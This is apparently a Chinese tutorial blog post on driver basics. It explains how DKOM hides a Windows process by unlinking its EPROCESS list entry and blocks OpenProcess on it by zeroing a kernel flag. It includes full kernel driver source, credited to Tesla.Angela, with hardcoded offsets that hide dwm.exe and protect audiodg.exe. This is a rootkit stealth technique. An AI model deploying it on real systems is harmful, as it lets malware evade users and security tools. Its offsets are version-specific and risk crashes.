用 DKOM 的方法来隐藏进程和保护进程

这个还是根据作者Tesla.Angela所开源的教程写的东西

 

其实这个东西windows7 应该是没有问题的 但是听说windows10 是不行的  除了要摘链 还是去搞掉一张表 这个比较麻烦  还有一点要注意的是   我们这里的进程 结构体 不一定是其它系统的结构体  因为windows 不同的版本 会重新定义很多数据结构  然后 有些大手子写的 驱动 会有硬编码什么的  就会导致蓝屏~~~~~~

然后  想找结构的话 可以用Windbg 或者 去微软官网查  

然后   这里直接说原理吧  

进程其实使用双向链表来存储的  学过数据结构的 应该很熟悉  在增删改查比较频繁的  一般都用链表 那么我们只需要把链表 给搞掉 就行了  就可以完成 隐藏的功能     而保护  是因为  把结构体的Flag 置位0之后  就用OpenProcess 返回失败 

但是这样的话 会有几率蓝屏 所以一般正规软件都不会用 这个方法  

下面放出  作者 Tesla.Angela的源代码  

#include 
#include "MyDriver.h"    

NTKERNELAPI NTSTATUS PsLookupProcessByProcessId(HANDLE ProcessId, PEPROCESS *Process);
NTKERNELAPI CHAR* PsGetProcessImageFileName(PEPROCESS Process);

//目标进程
PEPROCESS audiodg=NULL, dwm=NULL;
ULONG op_dat;

//偏移定义
#define PROCESS_ACTIVE_PROCESS_LINKS_OFFSET	0x188
#define PROCESS_FLAG_OFFSET					0x440

//获得EPROCESS
PEPROCESS GetProcessObjectByName(char *name)
{
	SIZE_T i;
	for(i=100;i<20000;i+=4)
	{
		NTSTATUS st;
		PEPROCESS ep;
		st=PsLookupProcessByProcessId((HANDLE)i,&ep);
		if(NT_SUCCESS(st))
		{
			char *pn=PsGetProcessImageFileName(ep);
			if(_stricmp(pn,name)==0)
				return ep;
		}
	}
	return NULL;
}

//摘除双向链表的指定项
VOID RemoveListEntry(PLIST_ENTRY ListEntry)
{
	KIRQL OldIrql;
	OldIrql = KeRaiseIrqlToDpcLevel();
	if (ListEntry->Flink != ListEntry &&
		ListEntry->Blink != ListEntry &&
		ListEntry->Blink->Flink == ListEntry &&
		ListEntry->Flink->Blink == ListEntry) 
	{
			ListEntry->Flink->Blink = ListEntry->Blink;
			ListEntry->Blink->Flink = ListEntry->Flink;
			ListEntry->Flink = ListEntry;
			ListEntry->Blink = ListEntry;
	}
	KeLowerIrql(OldIrql);
}
//隐藏进程
VOID HideProcess(PEPROCESS Process)
{
	RemoveListEntry((PLIST_ENTRY)((ULONG64)Process+PROCESS_ACTIVE_PROCESS_LINKS_OFFSET));
}

//保护进程
ULONG ProtectProcess(PEPROCESS Process, BOOLEAN bIsProtect, ULONG v)
{
	ULONG op;
	if(bIsProtect)
	{
		op=*(PULONG)((ULONG64)Process+PROCESS_FLAG_OFFSET);
		*(PULONG)((ULONG64)Process+PROCESS_FLAG_OFFSET)=0;
		return op;
	}
	else
	{
		*(PULONG)((ULONG64)Process+PROCESS_FLAG_OFFSET)=v;
		return 0;
	}
}

VOID test()
{
	audiodg=GetProcessObjectByName("audiodg.exe");DbgPrint("audiodg: %p\n",audiodg);
	if(audiodg)
	{
		op_dat=ProtectProcess(audiodg,1,0);
		ObDereferenceObject(audiodg);
	}
	dwm=GetProcessObjectByName("dwm.exe");DbgPrint("dwm: %p\n",dwm);
	if(dwm)
	{
		HideProcess(dwm);
		ObDereferenceObject(dwm);
	}
}

VOID DriverUnload(PDRIVER_OBJECT pDriverObj)
{	
	UNICODE_STRING strLink;
	//unprotect or BSOD
	if(audiodg && MmIsAddressValid(audiodg))
	{
		ProtectProcess(audiodg,0,op_dat);
	}
	RtlInitUnicodeString(&strLink, LINK_NAME);
	IoDeleteSymbolicLink(&strLink);
	IoDeleteDevice(pDriverObj->DeviceObject);
}
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObj, PUNICODE_STRING pRegistryString)
{
	
	test();
	return STATUS_SUCCESS;
}

然后这里重点讲解一下 摘链  其实这个也没有什么好写的   Flink 是指向下一个  链表结构  而  Blink是指向 前一个 链表结构 

那么 我们让前面的 指向我们下一个  而 让后面的指向我们的前面哪一个 就可以了

 这里我画了图 轻喷。。。。 希望能够让大家理解 然后我们  然后我们想要摘掉的 直接指向自己就可以了~~~~·

你可能感兴趣的:(驱动入门)